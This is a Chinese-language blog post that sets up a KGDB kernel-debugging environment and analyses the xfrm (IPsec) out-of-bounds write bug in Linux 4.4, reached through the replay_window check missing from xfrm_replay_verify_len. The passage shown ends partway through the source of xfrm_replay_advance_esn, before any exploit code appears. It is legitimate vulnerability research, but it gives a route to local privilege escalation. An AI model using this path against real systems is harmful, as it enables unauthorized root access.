漏洞来源于长亭安全研究实验室在2017年PWN2OWN大赛中Ubuntu 16.10 Desktop的本地提权漏洞,本分析是该漏洞利用的一种直接越界写cred结构体进而提权的方法,后续可能会分析长亭文档中提及的劫持控制流的方法。

本次漏洞分析基于Linux 4.4.0-21-generic版本,即Ubuntu 16.04.1。镜像可从此处下载,文中涉及的脚本可从此处下载。

本篇文章被同步于我的blog上,内容如有差错,望指出orz。

双机调试环境搭建

本次分析没有采用QEMU,而是用了VMware来进行双机调试,给我个人的感觉就是很慢,而且符号表不全很多函数都被编译优化掉了。调试环境构建参考了《ubuntu 内核源码调试方法(双机调试》,由于我已经有了一个调试虚拟机(debugging),所以仅需利用上述镜像构建被调试机(debuggee)。

debugging环境配置

由于主要的调试时在debugging上完成的,所以大部分的程序包都需要安装在debugging上。

dbsym安装

这个就是带有符号表的vmlinux文件,需要根据debuggee来确定。

如在debuggee上利用uname -sr命令得到的结果是Linux 4.4.0-21-generic,则需要下载安装vmlinux-4.4.0-21-generic

首先需要更新源文件,执行命令如下:

# 增加source.list
codename=$(lsb_release -c | awk '{print $2}')
sudo tee /etc/apt/sources.list.d/ddebs.list << EOF
deb http://ddebs.ubuntu.com/ ${codename} main restricted universe multiverse
deb http://ddebs.ubuntu.com/ ${codename}-security main restricted universe multiverse
deb http://ddebs.ubuntu.com/ ${codename}-updates main restricted universe multiverse
deb http://ddebs.ubuntu.com/ ${codename}-proposed main restricted universe multiverse
EOF
# 添加访问符号服务器的秘钥文件
wget -O - http://ddebs.ubuntu.com/dbgsym-release-key.asc | sudo apt-key add -
# 更新源文件
sudo apt-get update

然后利用apt-get下载这个文件:

sudo apt-get install linux-image-4.4.0-21-generic-dbgsym

然后进入漫长的等待,最终在/usr/lib/debug/boot/vmlinux-4.4.0-21-generic这里可以找到。

源码下载与配置

我采用了比较粗暴的方法,直接下载linux 4.4.0版本的源码,命令如下:

# 启用deb-src
deb-src http://cn.archive.ubuntu.com/ubuntu/ xenial main restricted
#搜索源码:
apt-cache search linux-source
#安装指定版本的源码:
sudo apt-get install linux-source-4.4.0

默认下载的源码会放在/usr/src/linux-source-4.4.0/linux-source-4.4.0.tar.bz2。并将其解压到/build/linux-Ay7j_C/linux-4.4.0目录下就可以在调试的时候看到源码。原因是调试符号中包含的路径是编译时的硬编码路径,因此其他Ubuntu版本在调试时可找到这个硬编码路径,将源码解压到此处即可。

设置通信串口

需要为debugging添加通信的串口,其调试原理是两虚拟机通过物理实体机的串口进行通信,远程调试。

debugging的设置如下,命名管道如果物理机Windows系统,则为//./pipe/com_1Linux系统为/tmp/serial。由于存在打印机设备可能占用/dev/ttyS0设备,因此在debuggingdebuggee中,我均删除了这个硬件。

编写调试脚本

调试脚本即gdb所执行的命令,用于远程调试debuggee。此脚本需要sudo执行。

gdb \
    -ex "add-auto-load-safe-path $(pwd)" \
    -ex "file /usr/lib/debug/boot/vmlinux-4.4.0-21-generic" \
    -ex 'set arch i386:x86-64:intel' \
    -ex 'target remote /dev/ttyS0' \
    -ex 'continue' \
    -ex 'disconnect' \
    -ex 'set arch i386:x86-64' \
    -ex 'target remote /dev/ttyS0'

debuggee环境配置

启动项设置

首先需要在为待调试的内核设置一个新的启动项,使其开机时进入调试模式,等待链接。

具体操作是编辑/etc/grub.d/40_custom,在其中加入

#!/bin/sh
exec tail -n +3 $0
# This file provides an easy way to add custom menu entries.  Simply type the
# menu entries you want to add after this comment.  Be careful not to change
# the 'exec tail' line above.
menuentry 'Ubuntu, KGDB with nokaslr' --class ubuntu --class gnu-linux --class gnu --class os $menuentry_id_option 'gnulinux-simple-b5907b23-09bb-4b75-bd51-eb04048e56d8' {
    recordfail
    load_video
    gfxmode $linux_gfx_mode
    insmod gzio
    if [ x$grub_platform = xxen ]; then insmod xzio; insmod lzopio; fi
    insmod part_msdos
    insmod ext2
    set root='hd0,msdos1'
    if [ x$feature_platform_search_hint = xy ]; then
      search --no-floppy --fs-uuid --set=root --hint-bios=hd0,msdos1 --hint-efi=hd0,msdos1 --hint-baremetal=ahci0,msdos1  b5907b23-09bb-4b75-bd51-eb04048e56d8
    else
      search --no-floppy --fs-uuid --set=root b5907b23-09bb-4b75-bd51-eb04048e56d8
    fi
    echo 'Loading Linux 4.10.0-19 with KGDB built by GEDU lab...'   
    linux   /boot/vmlinuz-4.4.0-21-generic root=UUID=b5907b23-09bb-4b75-bd51-eb04048e56d8 ro find_preseed=/preseed.cfg auto noprompt priority=critical locale=en_US quiet kgdbwait kgdb8250=io,03f8,ttyS0,115200,4 kgdboc=ttyS0,115200 kgdbcon nokaslr
    echo 'Loading initial ramdisk ...'  
    initrd  /boot/initrd.img-4.4.0-21-generic

其中参数可参考/boot/grub/grub.cfg文件,修改完成后执行sudo update-grub命令。

设置通信串口

debuggee通信串口的设置与 debugging设置类似,区别仅在于debugging是服务器,debuggee是客户机。


进入调试

debugging启动时,按住shift,出现如下界面,选择KGDB with nokaslr

系统进入远程调试等待。

此时,在debugging中执行sudo ./gdb_kernel,就可以远程调试了。

漏洞分析

漏洞位于内核xfrm模块,该模块是IPSEC协议的实现模块。其中xfrm_state结构体用于表示一个SA(Security Associstion)AHESP协议数据包可通过SA进行检查,其数据结构如下:

struct xfrm_state {
    possible_net_t      xs_net;
    union {
        struct hlist_node   gclist;
        struct hlist_node   bydst;
    };
    struct hlist_node   bysrc;
    struct hlist_node   byspi;

    atomic_t        refcnt;
    spinlock_t      lock;

    struct xfrm_id      id;
    struct xfrm_selector    sel;
    struct xfrm_mark    mark;
    u32         tfcpad;

    u32         genid;

    /* Key manager bits */
    struct xfrm_state_walk  km;

    /* Parameters of this state. */
    struct {
        u32     reqid;
        u8      mode;
        u8      replay_window;
        u8      aalgo, ealgo, calgo;
        u8      flags;
        u16     family;
        xfrm_address_t  saddr;
        int     header_len;
        int     trailer_len;
        u32     extra_flags;
    } props;

    struct xfrm_lifetime_cfg lft;

    /* Data for transformer */
    struct xfrm_algo_auth   *aalg;
    struct xfrm_algo    *ealg;
    struct xfrm_algo    *calg;
    struct xfrm_algo_aead   *aead;
    const char      *geniv;

    /* Data for encapsulator */
    struct xfrm_encap_tmpl  *encap;

    /* Data for care-of address */
    xfrm_address_t  *coaddr;

    /* IPComp needs an IPIP tunnel for handling uncompressed packets */
    struct xfrm_state   *tunnel;

    /* If a tunnel, number of users + 1 */
    atomic_t        tunnel_users;

    /* State for replay detection */
    struct xfrm_replay_state replay;
    struct xfrm_replay_state_esn *replay_esn;

    /* Replay detection state at the time we sent the last notification */
    struct xfrm_replay_state preplay;
    struct xfrm_replay_state_esn *preplay_esn;

    /* The functions for replay detection. */
    const struct xfrm_replay *repl;

    /* internal flag that only holds state for delayed aevent at the
     * moment
    */
    u32         xflags;

    /* Replay detection notification settings */
    u32         replay_maxage;
    u32         replay_maxdiff;

    /* Replay detection notification timer */
    struct timer_list   rtimer;

    /* Statistics */
    struct xfrm_stats   stats;

    struct xfrm_lifetime_cur curlft;
    struct tasklet_hrtimer  mtimer;

    /* used to fix curlft->add_time when changing date */
    long        saved_tmo;

    /* Last used time */
    unsigned long       lastused;

    /* Reference to data common to all the instances of this
     * transformer. */
    const struct xfrm_type  *type;
    struct xfrm_mode    *inner_mode;
    struct xfrm_mode    *inner_mode_iaf;
    struct xfrm_mode    *outer_mode;

    /* Security context */
    struct xfrm_sec_ctx *security;

    /* Private data of this transformer, format is opaque,
     * interpreted by xfrm_type methods. */
    void            *data;
};

其中,struct xfrm_id id;用于标识一个SA身份,包含daddr、spi、proto三个参数。

struct xfrm_id {
    xfrm_address_t  daddr;
    __be32      spi;
    __u8        proto;
};

此外,SA还包括一个xfrm_replay_state_esn结构体,该结构体定义如下。其中bmp是一个边长的内存区域,是一块bitmap,用于标识数据包的seq是否被重放过,其中bmp_len表示变长结构体的大小,replay_window用于seq索引的模数,即索引的范围,此结构体在创建xfrm_state结构体时根据用户输入参数动态被创建,而程序漏洞存在于这个结构体的读写过程中。

struct xfrm_replay_state_esn {
    unsigned int    bmp_len;
    __u32       oseq;
    __u32       seq;
    __u32       oseq_hi;
    __u32       seq_hi;
    __u32       replay_window;
    __u32       bmp[0];
};

xfrm_state结构体生成

该结构体生成位于xfrm_add_sa函数中,在[1]处对用户输入数据进行参数及协议检查,在[2]处对根据用户输入对结构体进行构造,并放入SA结构体的哈希链表中

static int xfrm_add_sa(struct sk_buff *skb, struct nlmsghdr *nlh,
        struct nlattr **attrs)
{
    struct net *net = sock_net(skb->sk);
    struct xfrm_usersa_info *p = nlmsg_data(nlh);
    struct xfrm_state *x;
    int err;
    struct km_event c;

[1] err = verify_newsa_info(p, attrs); //协议及参数检查
    if (err)
        return err;

[2] x = xfrm_state_construct(net, p, attrs, &err);
    if (!x)
        return err;

    xfrm_state_hold(x);
    if (nlh->nlmsg_type == XFRM_MSG_NEWSA)
        err = xfrm_state_add(x);
    else
        err = xfrm_state_update(x);

    xfrm_audit_state_add(x, err ? 0 : 1, true);

    if (err < 0) {
        x->km.state = XFRM_STATE_DEAD;
        __xfrm_state_put(x);
        goto out;
    }

    c.seq = nlh->nlmsg_seq;
    c.portid = nlh->nlmsg_pid;
    c.event = nlh->nlmsg_type;

    km_state_notify(x, &c);
out:
    xfrm_state_put(x);
    return err;
}

verify_newsa_info函数中,首先根据id.proto协议对用户输入的非兼容性参数进行检查,并对各输入参数中的长度合理性进行检查,我们只关心在[1]处的XFRMA_REPLAY_ESN_VAL数据检查。

static int verify_newsa_info(struct xfrm_usersa_info *p,
                 struct nlattr **attrs)
{
    int err;

    err = -EINVAL;
    switch (p->family) {
    case AF_INET: //IPv4
        break;

    case AF_INET6: //IPv6
#if IS_ENABLED(CONFIG_IPV6)
        break;
#else
        err = -EAFNOSUPPORT;
        goto out;
#endif

    default:
        goto out;
    }

    err = -EINVAL;
    switch (p->id.proto) {
    case IPPROTO_AH:
......
        break;

    case IPPROTO_ESP:
......
        break;

    case IPPROTO_COMP:
......
        break;

#if IS_ENABLED(CONFIG_IPV6)
    case IPPROTO_DSTOPTS:
    case IPPROTO_ROUTING:
......
        break;
#endif

    default:
        goto out;
    }

    if ((err = verify_aead(attrs))) //XFRMA_ALG_AEAD参数长度检查
        goto out;
    if ((err = verify_auth_trunc(attrs)))//XFRMA_ALG_AUTH_TRUNC参数长度检查
        goto out;
    if ((err = verify_one_alg(attrs, XFRMA_ALG_AUTH)))//XFRMA_ALG_AUTH参数长度检查
        goto out;
    if ((err = verify_one_alg(attrs, XFRMA_ALG_CRYPT)))//XFRMA_ALG_CRYPT参数长度检查
        goto out;
    if ((err = verify_one_alg(attrs, XFRMA_ALG_COMP)))//XFRMA_ALG_COMP参数长度检查
        goto out;
    if ((err = verify_sec_ctx_len(attrs)))//XFRMA_SEC_CTX数据长度定义检查
        goto out;
[1] if ((err = verify_replay(p, attrs)))//XFRMA_REPLAY_ESN_VAL数据检查
        goto out;

    err = -EINVAL;
    switch (p->mode) {
    case XFRM_MODE_TRANSPORT:
    case XFRM_MODE_TUNNEL:
    case XFRM_MODE_ROUTEOPTIMIZATION:
    case XFRM_MODE_BEET:
        break;

    default:
        goto out;
    }

    err = 0;

out:
    return err;
}

verify_replay函数中,可以看到检查主要有如下几条:[1]bmp_len是否超过最大值,最大值定义为4096/4/8。[2]检查参数长度定义是否正确。[3]是否为IPPROTO_ESP或者IPPROTO_AH协议。

static inline int verify_replay(struct xfrm_usersa_info *p,
                struct nlattr **attrs)
{
    struct nlattr *rt = attrs[XFRMA_REPLAY_ESN_VAL];
    struct xfrm_replay_state_esn *rs;

    if (p->flags & XFRM_STATE_ESN) {
        if (!rt)
            return -EINVAL;

        rs = nla_data(rt);

[1]     if (rs->bmp_len > XFRMA_REPLAY_ESN_MAX / sizeof(rs->bmp[0]) / 8)// (4096/4/8)
            return -EINVAL;

[2]     if (nla_len(rt) < xfrm_replay_state_esn_len(rs) &&
            nla_len(rt) != sizeof(*rs)) //bmp[0]=NULL 或 bmp+head < nla_len
            return -EINVAL;
    }

    if (!rt)
        return 0;

    /* As only ESP and AH support ESN feature. */
[3] if ((p->id.proto != IPPROTO_ESP) && (p->id.proto != IPPROTO_AH))
        return -EINVAL;

    if (p->replay_window != 0) 
        return -EINVAL;

    return 0;
}

回到xfrm_add_sa函数,继续分析xfrm_state_construct函数。首先在xfrm_state_alloc中用调用kzalloc函数新建xfrm_state,并拷贝用户数据进行赋值。接下来根据用户输入的各种参数进行类型构建。关于xfrm_replay_state_esn这个结构体在[3]处申请,在[4]处进行验证。

static struct xfrm_state *xfrm_state_construct(struct net *net,
                           struct xfrm_usersa_info *p,
                           struct nlattr **attrs,
                           int *errp)
{
[1] struct xfrm_state *x = xfrm_state_alloc(net); //新建 xfrm_state 结构
    int err = -ENOMEM;

    if (!x)
        goto error_no_put;

[2] copy_from_user_state(x, p);  //拷贝用户数据

    if (attrs[XFRMA_SA_EXTRA_FLAGS])
        x->props.extra_flags = nla_get_u32(attrs[XFRMA_SA_EXTRA_FLAGS]);

    if ((err = attach_aead(x, attrs[XFRMA_ALG_AEAD])))
        goto error;
    if ((err = attach_auth_trunc(&x->aalg, &x->props.aalgo,
                     attrs[XFRMA_ALG_AUTH_TRUNC])))
        goto error;
    if (!x->props.aalgo) {
        if ((err = attach_auth(&x->aalg, &x->props.aalgo,
                       attrs[XFRMA_ALG_AUTH])))
            goto error;
    }
    if ((err = attach_crypt(x, attrs[XFRMA_ALG_CRYPT])))
        goto error;
    if ((err = attach_one_algo(&x->calg, &x->props.calgo,
                   xfrm_calg_get_byname,
                   attrs[XFRMA_ALG_COMP])))
        goto error;

    if (attrs[XFRMA_ENCAP]) {
        x->encap = kmemdup(nla_data(attrs[XFRMA_ENCAP]),
                   sizeof(*x->encap), GFP_KERNEL);
        if (x->encap == NULL)
            goto error;
    }

    if (attrs[XFRMA_TFCPAD])
        x->tfcpad = nla_get_u32(attrs[XFRMA_TFCPAD]);

    if (attrs[XFRMA_COADDR]) {
        x->coaddr = kmemdup(nla_data(attrs[XFRMA_COADDR]),
                    sizeof(*x->coaddr), GFP_KERNEL);
        if (x->coaddr == NULL)
            goto error;
    }

    xfrm_mark_get(attrs, &x->mark);

    err = __xfrm_init_state(x, false);
    if (err)
        goto error;

    if (attrs[XFRMA_SEC_CTX]) {
        err = security_xfrm_state_alloc(x,
                        nla_data(attrs[XFRMA_SEC_CTX]));
        if (err)
            goto error;
    }
    //对x->replay_esn、x->preplay_esn初始化为用户输入XFRMA_REPLAY_ESN_VAL参数
[3] if ((err = xfrm_alloc_replay_state_esn(&x->replay_esn, &x->preplay_esn,
                           attrs[XFRMA_REPLAY_ESN_VAL])))
        goto error;

    x->km.seq = p->seq;
    x->replay_maxdiff = net->xfrm.sysctl_aevent_rseqth;
    /* sysctl_xfrm_aevent_etime is in 100ms units */
    x->replay_maxage = (net->xfrm.sysctl_aevent_etime*HZ)/XFRM_AE_ETH_M;

[4] if ((err = xfrm_init_replay(x)))//检查滑动窗口大小及flag,确定检测使用的函数
        goto error;

    /* override default values from above */
    xfrm_update_ae_params(x, attrs, 0);

    return x;

error:
    x->km.state = XFRM_STATE_DEAD;
    xfrm_state_put(x);
error_no_put:
    *errp = err;
    return NULL;
}

xfrm_alloc_replay_state_esn中,可以看到通过kzalloc函数分别申请了两块同样大小的内存,大小为sizeof(*replay_esn) + replay_esn->bmp_len * sizeof(__u32),并将用户数据中attr[XFRMA_REPLAY_ESN_VAL]内容复制过去。

static int xfrm_alloc_replay_state_esn(struct xfrm_replay_state_esn **replay_esn,
                       struct xfrm_replay_state_esn **preplay_esn,
                       struct nlattr *rta)
{
    struct xfrm_replay_state_esn *p, *pp, *up;
    int klen, ulen;

    if (!rta)
        return 0;

    up = nla_data(rta);
    klen = xfrm_replay_state_esn_len(up);
    ulen = nla_len(rta) >= klen ? klen : sizeof(*up);

    p = kzalloc(klen, GFP_KERNEL);
    if (!p)
        return -ENOMEM;

    pp = kzalloc(klen, GFP_KERNEL);
    if (!pp) {
        kfree(p);
        return -ENOMEM;
    }

    memcpy(p, up, ulen);
    memcpy(pp, up, ulen);

    *replay_esn = p;
    *preplay_esn = pp;

    return 0;
}

最终在xfrm_init_replay函数中对上述申请的结构体数据进行检查,replay_window不大于定义的bmp_len大小,并对x->repl进行初始化,该成员是一个函数虚表,作用是在收到AHESP协议数据包时进行数据重放检查。

int xfrm_init_replay(struct xfrm_state *x)
{
    struct xfrm_replay_state_esn *replay_esn = x->replay_esn;

    if (replay_esn) {
        if (replay_esn->replay_window >
            replay_esn->bmp_len * sizeof(__u32) * 8)//不大于bmp本身长度
            return -EINVAL;

        if (x->props.flags & XFRM_STATE_ESN) {
            if (replay_esn->replay_window == 0)
                return -EINVAL;
            x->repl = &xfrm_replay_esn;
        } else
            x->repl = &xfrm_replay_bmp;
    } else
        x->repl = &xfrm_replay_legacy;

    return 0;
}
EXPORT_SYMBOL(xfrm_init_replay);

xfrm_replay_state_esn结构体更新

对于一个SA,内核提供修改replay_esn 成员的功能,也就是xfrm_alloc_replay_state_esn申请的第一个内存块。在xfrm_new_ae函数中,首先在[1]处循环查找哈希链表,得到xfrm_state结构体,查找标识是之前提到的三个要素。而在[2]处,对用户输入的attr[XFRMA_REPLAY_ESN_VAL]参数进行检查,也就是修改后的replay_esn 成员内容。最后在[3]处,利用memcpy进行成员内容修改。

static int xfrm_new_ae(struct sk_buff *skb, struct nlmsghdr *nlh,
        struct nlattr **attrs)
{
    struct net *net = sock_net(skb->sk);
    struct xfrm_state *x;
    struct km_event c;
    int err = -EINVAL;
    u32 mark = 0;
    struct xfrm_mark m;
    struct xfrm_aevent_id *p = nlmsg_data(nlh);
    struct nlattr *rp = attrs[XFRMA_REPLAY_VAL];
    struct nlattr *re = attrs[XFRMA_REPLAY_ESN_VAL];
    struct nlattr *lt = attrs[XFRMA_LTIME_VAL];
    struct nlattr *et = attrs[XFRMA_ETIMER_THRESH];
    struct nlattr *rt = attrs[XFRMA_REPLAY_THRESH];

    if (!lt && !rp && !re && !et && !rt)
        return err;

    /* pedantic mode - thou shalt sayeth replaceth */
    if (!(nlh->nlmsg_flags&NLM_F_REPLACE))
        return err;

    mark = xfrm_mark_get(attrs, &m); //copy XFRMA_MARK变量,返回值是u32

[1] x = xfrm_state_lookup(net, mark, &p->sa_id.daddr, p->sa_id.spi, p->sa_id.proto, p->sa_id.family); //循环查找hash表,得到xfrm_state结构体
    if (x == NULL)
        return -ESRCH;

    if (x->km.state != XFRM_STATE_VALID)
        goto out;

[2] err = xfrm_replay_verify_len(x->replay_esn, re); //XFRMA_REPLAY_ESN_VAL参数检查
    if (err)
        goto out;

    spin_lock_bh(&x->lock);
[3] xfrm_update_ae_params(x, attrs, 1); //memcpy
    spin_unlock_bh(&x->lock);

    c.event = nlh->nlmsg_type;
    c.seq = nlh->nlmsg_seq;
    c.portid = nlh->nlmsg_pid;
    c.data.aevent = XFRM_AE_CU;
    km_state_notify(x, &c);
    err = 0;
out:
    xfrm_state_put(x);
    return err;
}

验证过程在xfrm_replay_verify_len函数中,可见在检查过程中主要检查了修改部分的bmp_len长度,该检查是因为replay_esn成员内存是直接进行复制的,不再二次分配。但缺少了对replay_window变量的检测,导致引用replay_window变量进行bitmap读写时造成的数组越界问题

static inline int xfrm_replay_verify_len(struct xfrm_replay_state_esn *replay_esn,
                     struct nlattr *rp)
{
    struct xfrm_replay_state_esn *up;
    int ulen;

    if (!replay_esn || !rp)
        return 0;

    up = nla_data(rp);
    ulen = xfrm_replay_state_esn_len(up);

    if (nla_len(rp) < ulen || xfrm_replay_state_esn_len(replay_esn) != ulen) //自身长度逻辑正确,ulen与原len相同
        return -EINVAL;

    return 0;
}

数组越界写定位

通过对xfrm模块代码中,replay_window关键字的查找,可以发现主要对这个关键字的操作位于xfrm_replay_advance_esnxfrm_replay_check_esn函数中。而通过这两个函数的查找发现二者位于同一 结构体xfrm_replay_esn下,

static const struct xfrm_replay xfrm_replay_esn = {
    .advance    = xfrm_replay_advance_esn,
    .check      = xfrm_replay_check_esn,
    .recheck    = xfrm_replay_recheck_esn,
    .notify     = xfrm_replay_notify_esn,
    .overflow   = xfrm_replay_overflow_esn,
};

而定义这个结构体,可以发现这个结构体在之前提到过的xfrm_init_replay函数中被使用,并为x->repl成员赋值,因此转而寻找x->repl成员被调用的位置,最终跟踪到了xfrm_input函数,而xfrm_input函数之前被xfrm4_rcv_spi <= xfrm4_rcv <= xfrm4_ah_rcv 最终追溯到AH协议的内核协议栈中。

static const struct net_protocol ah4_protocol = {
    .handler    =   xfrm4_ah_rcv,
    .err_handler    =   xfrm4_ah_err,
    .no_policy  =   1,
    .netns_ok   =   1,
};

可见,通过发送AH数据包可以触发越界读写。

xfrm_input函数中,首先在[1]处利用AH数据包数据找到对应的SA,在[2]处调用xfrm_replay_check_esn进行检查,再调用xfrm_replay_recheck_esn再次检查,最终在[3]处调用xfrm_replay_advance_esn

int xfrm_input(struct sk_buff *skb, int nexthdr, __be32 spi, int encap_type)
{
    struct net *net = dev_net(skb->dev);
    int err;
    __be32 seq;
    __be32 seq_hi;
    struct xfrm_state *x = NULL;
    xfrm_address_t *daddr;
    struct xfrm_mode *inner_mode;
    u32 mark = skb->mark;
    unsigned int family;
    int decaps = 0;
    int async = 0;

    /* A negative encap_type indicates async resumption. */
    if (encap_type < 0) { //here is zero
        async = 1;
        x = xfrm_input_state(skb);
        seq = XFRM_SKB_CB(skb)->seq.input.low;
        family = x->outer_mode->afinfo->family;
        goto resume;
    }

    daddr = (xfrm_address_t *)(skb_network_header(skb) +
                   XFRM_SPI_SKB_CB(skb)->daddroff);
    family = XFRM_SPI_SKB_CB(skb)->family;

    /* if tunnel is present override skb->mark value with tunnel i_key */
    switch (family) {
    case AF_INET:
        if (XFRM_TUNNEL_SKB_CB(skb)->tunnel.ip4) // p32
            mark = be32_to_cpu(XFRM_TUNNEL_SKB_CB(skb)->tunnel.ip4->parms.i_key);
        break;
    case AF_INET6:
        if (XFRM_TUNNEL_SKB_CB(skb)->tunnel.ip6)
            mark = be32_to_cpu(XFRM_TUNNEL_SKB_CB(skb)->tunnel.ip6->parms.i_key);
        break;
    }

    /* Allocate new secpath or COW existing one. */
    if (!skb->sp || atomic_read(&skb->sp->refcnt) != 1) {
        struct sec_path *sp;

        sp = secpath_dup(skb->sp);
        if (!sp) {
            XFRM_INC_STATS(net, LINUX_MIB_XFRMINERROR);
            goto drop;
        }
        if (skb->sp)
            secpath_put(skb->sp);
        skb->sp = sp;
    }

    seq = 0;
    if (!spi && (err = xfrm_parse_spi(skb, nexthdr, &spi, &seq)) != 0) { //spi =0
        XFRM_INC_STATS(net, LINUX_MIB_XFRMINHDRERROR);
        goto drop;
    }

    do {
        if (skb->sp->len == XFRM_MAX_DEPTH) {
            XFRM_INC_STATS(net, LINUX_MIB_XFRMINBUFFERERROR);
            goto drop;
        }

[1]     x = xfrm_state_lookup(net, mark, daddr, spi, nexthdr, family);//找到对应的xfrm_state
        if (x == NULL) {
            XFRM_INC_STATS(net, LINUX_MIB_XFRMINNOSTATES);
            xfrm_audit_state_notfound(skb, family, spi, seq);
            goto drop;
        }

        skb->sp->xvec[skb->sp->len++] = x;

        spin_lock(&x->lock);

        if (unlikely(x->km.state != XFRM_STATE_VALID)) {
            if (x->km.state == XFRM_STATE_ACQ)
                XFRM_INC_STATS(net, LINUX_MIB_XFRMACQUIREERROR);
            else
                XFRM_INC_STATS(net,
                           LINUX_MIB_XFRMINSTATEINVALID);
            goto drop_unlock;
        }

        if ((x->encap ? x->encap->encap_type : 0) != encap_type) {
            XFRM_INC_STATS(net, LINUX_MIB_XFRMINSTATEMISMATCH);
            goto drop_unlock;
        }
        //x->repl 在 xfrm_init_replay赋值,可调用xfrm_replay_check_esn
[2]     if (x->repl->check(x, skb, seq)) {
            XFRM_INC_STATS(net, LINUX_MIB_XFRMINSTATESEQERROR);
            goto drop_unlock;
        }

        if (xfrm_state_check_expire(x)) {//check x->lft内容
            XFRM_INC_STATS(net, LINUX_MIB_XFRMINSTATEEXPIRED);
            goto drop_unlock;
        }

        spin_unlock(&x->lock);
        //检查tunnel参数
        if (xfrm_tunnel_check(skb, x, family)) {
            XFRM_INC_STATS(net, LINUX_MIB_XFRMINSTATEMODEERROR);
            goto drop;
        }
        //根据x->replay_esn中,seq、replay_windows关系,返回seqhi 
        seq_hi = htonl(xfrm_replay_seqhi(x, seq));

        XFRM_SKB_CB(skb)->seq.input.low = seq;
        XFRM_SKB_CB(skb)->seq.input.hi = seq_hi;

        skb_dst_force(skb);
        dev_hold(skb->dev);

        nexthdr = x->type->input(x, skb);

        if (nexthdr == -EINPROGRESS)
            return 0;
resume:
        dev_put(skb->dev);

        spin_lock(&x->lock);
        if (nexthdr <= 0) {
            if (nexthdr == -EBADMSG) {
                xfrm_audit_state_icvfail(x, skb,
                             x->type->proto);
                x->stats.integrity_failed++;
            }
            XFRM_INC_STATS(net, LINUX_MIB_XFRMINSTATEPROTOERROR);
            goto drop_unlock;
        }

        /* only the first xfrm gets the encap type */
        encap_type = 0;
        // async = 0 并调用xfrm_replay_recheck_esn
        if (async && x->repl->recheck(x, skb, seq)) {
            XFRM_INC_STATS(net, LINUX_MIB_XFRMINSTATESEQERROR);
            goto drop_unlock;
        }
        //调用xfrm_replay_advance_esn
[3]     x->repl->advance(x, seq);

        x->curlft.bytes += skb->len;
        x->curlft.packets++;

        spin_unlock(&x->lock);

        XFRM_MODE_SKB_CB(skb)->protocol = nexthdr;

        inner_mode = x->inner_mode;

        if (x->sel.family == AF_UNSPEC) {
            inner_mode = xfrm_ip2inner_mode(x, XFRM_MODE_SKB_CB(skb)->protocol);
            if (inner_mode == NULL) {
                XFRM_INC_STATS(net, LINUX_MIB_XFRMINSTATEMODEERROR);
                goto drop;
            }
        }

        if (inner_mode->input(x, skb)) {
            XFRM_INC_STATS(net, LINUX_MIB_XFRMINSTATEMODEERROR);
            goto drop;
        }

        if (x->outer_mode->flags & XFRM_MODE_FLAG_TUNNEL) {
            decaps = 1;
            break;
        }

        /*
         * We need the inner address.  However, we only get here for
         * transport mode so the outer address is identical.
         */
        daddr = &x->id.daddr;
        family = x->outer_mode->afinfo->family;

        err = xfrm_parse_spi(skb, nexthdr, &spi, &seq);
        if (err < 0) {
            XFRM_INC_STATS(net, LINUX_MIB_XFRMINHDRERROR);
            goto drop;
        }
    } while (!err);

    err = xfrm_rcv_cb(skb, family, x->type->proto, 0);
    if (err)
        goto drop;

    nf_reset(skb);

    if (decaps) {
        skb_dst_drop(skb);
        netif_rx(skb);
        return 0;
    } else {
        return x->inner_mode->afinfo->transport_finish(skb, async);
    }

drop_unlock:
    spin_unlock(&x->lock);
drop:
    xfrm_rcv_cb(skb, family, x && x->type ? x->type->proto : nexthdr, -1);
    kfree_skb(skb);
    return 0;
}

xfrm_replay_check_esn函数中,首先找到的还是x->replay_esn成员,接着检查[1]处某bit是否为1,否则退出。首先可以分析出该bit的计算方法,是nr>>5,即(nr / 32),而bitnr = nr % 32,而bmp的类型为u32,即bmp[i]的大小为4*8 bit,不难发现,bmp的作用就是表示某个值是否被占用。取一个情况bitnr = (pos - diff) % replay_esn->replay_window,其中pos = (replay_esn->seq - 1) % replay_esn->replay_windowdiff = top - seq =replay_esn->seq - seq,因此bitnr = (seq - 1 )% replay_esn->replay_window,即AH中的seq是否被处理过。

static int xfrm_replay_check_esn(struct xfrm_state *x,
                 struct sk_buff *skb, __be32 net_seq)
{
    unsigned int bitnr, nr;
    u32 diff;
    struct xfrm_replay_state_esn *replay_esn = x->replay_esn;
    u32 pos;
    u32 seq = ntohl(net_seq);
    u32 wsize = replay_esn->replay_window;
    u32 top = replay_esn->seq;
    u32 bottom = top - wsize + 1;

    if (!wsize)
        return 0;

    if (unlikely(seq == 0 && replay_esn->seq_hi == 0 &&
             (replay_esn->seq < replay_esn->replay_window - 1)))
        goto err;

    diff = top - seq;

    if (likely(top >= wsize - 1)) {
        /* A. same subspace */
        if (likely(seq > top) || seq < bottom)
            return 0;
    } else {
        /* B. window spans two subspaces */
        if (likely(seq > top && seq < bottom))
            return 0;
        if (seq >= bottom)
            diff = ~seq + top + 1;
    }

    if (diff >= replay_esn->replay_window) {
        x->stats.replay_window++;
        goto err;
    }

    pos = (replay_esn->seq - 1) % replay_esn->replay_window;

    if (pos >= diff)
        bitnr = (pos - diff) % replay_esn->replay_window;
    else
        bitnr = replay_esn->replay_window - (diff - pos);

    nr = bitnr >> 5;
    bitnr = bitnr & 0x1F;
[1] if (replay_esn->bmp[nr] & (1U << bitnr))
        goto err_replay;

    return 0;

err_replay:
    x->stats.replay++;
err:
    xfrm_audit_state_replay(x, skb, net_seq);
    return -EINVAL;
}

而在xfrm_replay_advance_esn函数中,共有三处对bmp的写操作,其中在[1]处对于某一个bit执行&0,将导致某一个bit被置零。在[2]处,可以发现函数对从bmp[0]bmp[(replay_esn->replay_window - 1) >> 5]块内存均置零,而[3]处,这可以对某一个bit写1。

static void xfrm_replay_advance_esn(struct xfrm_state *x, __be32 net_seq)
{
    unsigned int bitnr, nr, i;
    int wrap;
    u32 diff, pos, seq, seq_hi;
    struct xfrm_replay_state_esn *replay_esn = x->replay_esn;

    if (!replay_esn->replay_window)
        return;

    seq = ntohl(net_seq);
    pos = (replay_esn->seq - 1) % replay_esn->replay_window;
    seq_hi = xfrm_replay_seqhi(x, net_seq);
    wrap = seq_hi - replay_esn->seq_hi;

    if ((!wrap && seq > replay_esn->seq) || wrap > 0) {
        if (likely(!wrap))
            diff = seq - replay_esn->seq;
        else
            diff = ~replay_esn->seq + seq + 1;

        if (diff < replay_esn->replay_window) {
            for (i = 1; i < diff; i++) {
                bitnr = (pos + i) % replay_esn->replay_window;
                nr = bitnr >> 5;
                bitnr = bitnr & 0x1F;
